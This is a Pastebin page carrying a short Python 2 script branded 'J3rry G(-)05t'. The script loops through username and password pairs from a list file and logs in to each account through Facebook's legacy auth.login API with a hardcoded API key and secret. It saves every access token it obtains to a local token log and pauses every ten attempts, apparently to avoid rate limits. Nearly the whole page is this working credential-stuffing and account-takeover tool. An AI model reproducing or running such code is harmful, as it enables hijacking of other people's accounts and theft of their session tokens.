Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- ###################################################################
- # Import Module
- import json , sys , hashlib , os , time , marshal
- import time
- import os
- import sys
- ###################################################################
- # COLOR
- if sys.platform in ["linux","linux2"]:
- W = "\033[0m"
- G = '\033[32;1m'
- R = '\033[31;1m'
- else:
- W = ''
- G = ''
- R = ''
- ###################################################################
- # Exception
- try:
- import requests
- except ImportError:
- print ' '
- print "[!] Can't import module 'requests'\n"
- sys.exit()
- ####################################################################
- # Set Default encoding
- reload (sys)
- sys . setdefaultencoding ( 'utf8' )
- ####################################################################
- # I don't know
- jml = []
- jmlgetdata = []
- n = []
- ####################################################################
- # GENERATE ACCESS TOKEN
- def get(data,username):
- print (W + "username : {} ".format(G + username))
- try:
- os.mkdir('cookie')
- except OSError:
- pass
- b = open('cookie/token.log','a')
- try:
- r = requests.get('https://api.facebook.com/restserver.php',params=data)
- a = json.loads(r.text)
- b.write(a['access_token'])
- b.write("====>"+username+"\n")
- b.close()
- print G + '[*] found pass and successfully generate access token'
- time.sleep(5)
- #exit()
- except KeyError:
- print R + '[!] Wrong Username and Password'
- #print '[!] Check your connection / email or password'
- #time.sleep(5)
- #exit()
- except requests.exceptions.ConnectionError:
- print R + '[!]Connection Error'
- time.sleep(5)
- exit()
- def id(username,password):
- print W + '================================';id = username;pwd = password;API_SECRET = '62f8ce9f74b12f84c123cc23437a4a32';data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"};sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.0'+API_SECRET
- x = hashlib.new('md5')
- x.update(sig)
- data.update({'sig':x.hexdigest()})
- get(data,username)
- ###################################################################
- # Logo
- print '''\n
- ______ __ __ ______
- /\ ___\ /\ \_\ \ /\__ _\
- \ \ \__ \ \ \ __ \ \/_/\ \/
- \ \_____\ \ \_\ \_\ \ \_\
- \/_____/ \/_/\/_/ \/_/
- ''' + G + '''J3rry G(-)05t
- '''
- ###################################################################
- # Username,Pass define
- try:
- with open('ulist1.txt', 'r') as f:
- username = f.readlines()
- with open('ulist1.txt', 'r') as f:
- password = f.readlines()
- ###################################################################
- # Start Looping
- for n,line in enumerate(open('ulist1.txt', 'r')):
- if n % 10 == 0:
- #print username[n]
- time.sleep(3)
- id(username[n],password[n])
- else:
- #print username[n]
- id(username[n],password[n])
- except KeyboardInterrupt:
- print '\r[!] Good Bye J3rry'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement